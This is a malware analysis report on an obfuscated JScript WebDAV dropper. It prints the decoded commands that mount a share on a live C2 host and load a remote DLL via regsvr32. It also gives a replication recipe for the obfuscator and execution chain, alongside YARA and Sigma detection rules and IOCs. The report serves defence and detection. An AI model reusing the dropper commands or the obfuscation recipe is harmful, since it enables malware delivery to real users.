df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87unclassified-js-webdav-dropper: df42ecf8 — 1669716012341829774.js, 62-entry noise-key dictionary
Executive Summary: Twentieth confirmed sibling of the WebDAV dropper cluster. JScript file with 62-entry dictionary lookup-table obfuscation using random noise-style keys (hrwfkasmlfbj, wsvyrgxfayjk), PowerShell -EncodedCommand wrapper, and cloudslimit.com:8888 C2. Unlike sibling fb353965, this sample uses the same domain for both net use and regsvr32. No sandbox gate, no persistence, no decoy.
What It Is
- Filename:
1669716012341829774.js^[metadata.json] - Size: 8,784 bytes ^[file.txt]
- Type: ASCII text, single line — JScript/WScript carrier ^[file.txt]
- Family:
unclassified-js-webdav-dropper(twentieth confirmed sibling) ^[triage.json] - SHA-256:
df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87 - SSDEEP:
96:c8tabWaG78+sAUr0DMEwWWfhxQF0/GzQmd4o/J3bLTgdMooAWALQ6Rd:c8tSgDsAUr0DMEy7jbodUdMox^[ssdeep.txt] - TLSH:
T1D5620144A2EE106F7C87DE61F500E78C60AC87333AE060D7DB50605B29DF846E31F59E^[tlsh.txt] - CAPE: Skipped — not a supported binary class for detonation. ^[dynamic-analysis.md]
How It Works
- Dictionary obfuscation: 62 key/value pairs map random noise strings to single characters (
galo['hrwfkasmlfbj']='r', etc.). ^[strings.txt:1] try/catchgate:try{namaivqeipidbirgre();}catch(dvynoifxqy){...}— deliberately failing decoy; real payload lives incatch. ^[strings.txt:1]- Global-object access:
Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...)— reachesWScript.Shellwithout typing global names. ^[decoded.js] - PowerShell wrapper: Base64-wrapped
-EncodedCommandwith window hidden (0,false). ^[decoded.js] - Payload commands (decoded UTF-16LE Base64):
^[decoded.js]net use \\cloudslimit.com@8888\davwwwroot\ regsvr32 /s \\cloudslimit.com@8888\davwwwroot\20628311887910.dll
Cluster delta vs previous siblings:
- Key style: Random noise strings (8–20 lowercase chars, no English semantic content) — a new dialect within the 62-entry dictionary tier. Previous 62-entry siblings used alliterative English phrases (
e6ebae6a,cc90d6c,ccb2d007) or random English word pairs (fb353965). - Single-domain C2: Both
net useandregsvr32targetcloudslimit.com:8888. Siblingfb353965split acrosscloudslimit(mount) andcloudskimit(fetch). - Dictionary object name:
galo— unique per sample; no overlap with any prior sibling dictionary keys.
Decompiled Behavior
Not applicable — plaintext JScript text file, not a compiled binary. No Ghidra/radare2 analysis possible. ^[rabin2-info.txt]
C2 Infrastructure
| Indicator | Value |
|---|---|
| WebDAV mount | cloudslimit.com:8888 via net use |
| Payload fetch | cloudslimit.com:8888 via regsvr32 /s |
| Payload filename | 20628311887910.dll |
| Execution chain | wscript.exe → powershell.exe -EncodedCommand → cmd.exe (net use + regsvr32) |
No mutex, no registry keys, no persistence, no sandbox checks.
Interesting Tidbits
- Zero key overlap: The 62 dictionary keys share no entries with any of the 17 prior dictionary siblings tested (
e6ebae6a,d0124d62,d90baa30). ^[key-comparison.py] - Key length variance: Keys range from 8 (
sroiemhn) to 20 (vfnmkhfojmppibtgr) characters, confirming hand-rolled generation rather than fixed-length tooling. - Decoy function name:
namaivqeipidbirgre()is 20 chars of random lowercase letters, same style as the dictionary keys. - Base64 padding: The encoded PowerShell payload ends with
+which is preserved literally inside the JS string concatenation. The decoder pads correctly at runtime. ^[decoded.js]
How To Mess With It (Homelab Replication)
- Generate a noise-key dictionary obfuscator:
import random, string, base64 chars = list("net use \\host@port\davwwwroot\ ; regsvr32 /s ") keys = [''.join(random.choices(string.ascii_lowercase, k=random.randint(8,20))) for _ in chars] lookup = {k:c for k,c in zip(keys, chars)} # Assemble JS same as observed: galo['key']='val'; ... Function('return this')()... - Set up WebDAV:
wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous - Place a benign test DLL at
/tmp/webdav/20628311887910.dll. - Execute on Windows VM via
wscript 1669716012341829774.js. - Observe chain in ProcMon:
wscript.exe→powershell.exe→cmd.exe→regsvr32.exeloading DLL from UNC.
Deployable Signatures
YARA
rule js_webdav_dropper_noise_dictionary {
meta:
description = "JScript WebDAV dropper with 62-entry noise-key dictionary obfuscation"
author = "PacketPursuit"
family = "unclassified-js-webdav-dropper"
reference = "df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87"
strings:
$dict_galo = /galo\[\]=\{\};galo\['[a-z]{8,20}'\]='[a-zA-Z0-9]';/
$func_return_this = "Function(''+" nocase
$wscript = "WScript" nocase
$create_object = "CreateObject" nocase
$davwwwroot = "davwwwroot" nocase
$regsvr32 = "regsvr32" nocase
$net_use = "net use" nocase
$encoded_cmd = "-EncodedCommand" nocase
condition:
filesize < 15KB
and #dict_galo > 50
and $func_return_this
and $wscript
and $create_object
and any of ($davwwwroot, $regsvr32, $net_use, $encoded_cmd)
}
Sigma
title: WebDAV DLL Sideloading via JScript Noise-Dictionary Dropper
logsource:
category: process_creation
product: windows
detection:
selection_wscript:
ParentImage|endswith: '\wscript.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-EncodedCommand'
selection_regsvr32_unc:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '\\'
- 'DavWWWRoot'
selection_netuse:
Image|endswith: '\cmd.exe'
CommandLine|contains:
- 'net use'
- 'DavWWWRoot'
condition: 1 of selection_*
falsepositives:
- Rare legitimate remote COM registration over WebDAV in enterprise environments
level: high
IOC List
| Indicator | Type | Context |
|---|---|---|
df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87 |
SHA-256 | Sample |
1669716012341829774.js |
Filename | JScript carrier |
cloudslimit.com:8888 |
Domain:Port | WebDAV mount + payload fetch |
20628311887910.dll |
Filename | Remote DLL payload |
wscript.exe → powershell.exe -EncodedCommand → cmd.exe → regsvr32.exe |
Process chain | Execution fingerprint |
Behavioral Fingerprint
This JScript dropper uses a 62-entry dictionary lookup table where noise-style lowercase keys map to single characters. The script wraps execution in a try/catch block with a deliberately undefined decoy function. Inside the catch, it constructs WScript.Shell via Function('return this')() and runs a PowerShell -EncodedCommand that decodes to net use followed by regsvr32 /s against a WebDAV UNC path (\\host@port\DavWWWRoot\). No sandbox checks, no persistence, no decoy application. The dictionary keys are random noise strings (8–20 chars) with no semantic content — a distinct dialect from English-phrase and alliterative-phrase variants in the same family.
Detection Signatures
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file executed by wscript.exe ^[decoded.js] |
| Execution | T1059.001 (PowerShell) | powershell.exe -EncodedCommand wrapper ^[decoded.js] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\cloudslimit.com@8888\DavWWWRoot\20628311887910.dll ^[decoded.js] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | wscript.exe → powershell.exe → regsvr32.exe chain ^[decoded.js] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 62-entry noise-key dictionary lookup-table obfuscation ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP on port 8888 ^[decoded.js] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use + regsvr32 fetches remote DLL ^[decoded.js] |
References
- unclassified-js-webdav-dropper — entity page for this family
- js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
- webdav-regsvr32-dll-sideloading — technique page for the execution chain
e6ebae6a— first dictionary-dialect sibling (62 entries, English-phrase keys,dailywebstats.com:8888) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]fb353965— ninth sibling, dual-domain C2 split (cloudslimit/cloudskimit), 62-entry word-pair keys ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]d0124d62— first noise-key dictionary sibling (36 entries,45.9.74.36:8888) ^[/intel/analyses/d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96.html]
Provenance
file.txt—fileutility output (ASCII text, 8.8 KB)strings.txt— raw single-line JScript content with 62-entry dictionarydecoded.js— manually decoded by Python regex substitution of dictionary lookups (see analysis)metadata.json— artifact metadata from OpenCTI/MalwareBazaarssdeep.txt,tlsh.txt— fuzzy hashestriage.json— triage classification (unattributed, deep tier)- Tools: Python 3.11,
remodule,base64module. No Ghidra/radare2 (not a binary).